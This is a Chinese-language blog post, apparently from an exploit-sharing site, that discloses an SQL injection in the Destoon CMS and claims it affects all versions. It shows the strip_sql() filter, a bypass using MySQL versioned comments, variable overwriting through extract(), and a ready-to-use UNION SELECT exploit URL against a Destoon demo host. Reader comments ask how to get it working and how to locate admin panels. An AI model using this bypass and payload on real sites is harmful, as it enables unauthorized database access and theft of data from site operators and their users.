Destoon最新全版本通杀SQL注入漏洞

Author:Kavia /common.inc.php 64行: [php] if($_POST) $_POST = strip_sql($_POST); //strip_sql()过滤 if($_GET) $_GET = strip_sql($_GET); if($_COOKIE) $_COOKIE = strip_sql($_COOKIE); ......... if($_POST) extract($_POST, EXTR_SKIP); //注册变量 if($_GET) extract($_GET, EXTR_SKIP); [/php] 跟进strip_sql() /include/global.func.php 186行: [php] function strip_sql($string) { $search = array("/union([[:space:]\/])/i","/select([[:space:]\/])/i","/update([[:space:]\/])/i","/replace([[:space:]\/])/i","/delete([[:space:]\/])/i","/drop([[:space:]\/])/i","/outfile([[:space:]\/])/i","/dumpfile([[:space:]\/])/i","/load_file\(/i","/substring\(/i","/ascii\(/i","/hex\(/i","/ord\(/i","/char\(/i"); $replace = array('union\\1','select\\1','update\\1','replace\\1','delete\\1','drop\\1','outfile\\1','dumpfile\\1','load_file(','substring(','ascii(','hex(','ord(','char('); return is_array($string) ? array_map('strip_sql', $string) : preg_replace($search, $replace, $string); } [/php] 采用了新的正则表达式,之前西毒放出的exp,已经无法绕过新版本的过滤了。 此处可采用新的绕过方式:/!5000union*/ 首先寻找一个注射点: /module/member/record.inc.php 16行: [php] isset($mid) or $mid = 0; isset($currency) or $currency = ''; $module_select = module_select('mid', $L['module_name'], $mid); if($keyword) $condition .= " AND title LIKE '%$keyword%'"; if($fromtime) $condition .= " AND paytime>".(strtotime($fromtime.' 00:00:00')); if($totime) $condition .= " AND paytime<".(strtotime($totime.' 23:59:59')); if($mid) $condition .= " AND moduleid=$mid"; if($itemid) $condition .= " AND itemid=$itemid"; if($currency) $condition .= " AND currency='$currency'"; $r = $db->get_one("SELECT COUNT(*) AS num FROM {$DT_PRE}finance_pay WHERE $condition");// $pages = pages($r['num'], $page, $pagesize); $lists = array(); echo "SELECT * FROM {$DT_PRE}finance_pay WHERE $condition ORDER BY pid DESC LIMIT $offset,$pagesize"; $result = $db->query("SELECT * FROM {$DT_PRE}finance_pay WHERE $condition ORDER BY pid DESC LIMIT $offset,$pagesize"); [/php] 此处利用变量覆盖,就可以顺利构造sql注入 /member/record.php [php] [/php] 引入了common.inc.php,所以存在变量覆盖。并且可以绕过正则的过滤。最终造成sql注入 [php] exp:http://demo.destoon.com/v5.0/member/record.php?action=pay&mid=-1/*!50000union*//*!50000select*/user(),2,database(),version(),5,6,7,8,9--[/php]

4 条评论

  1. 落花三千

    什么情况,我怎么测试好像没有效果,这个漏洞和上次那个有什么区别吗?

    1. 0day5
      @落花三千

      诺,其实就是一个额。只是修补了注入,被绕过了继续注射

  2. 隔壁海格

    弱弱的问一句,有什么好方法找destoon后台?

    1. 0day5
      @隔壁海格

      唔,木有啊~都是在郁闷中

发表评论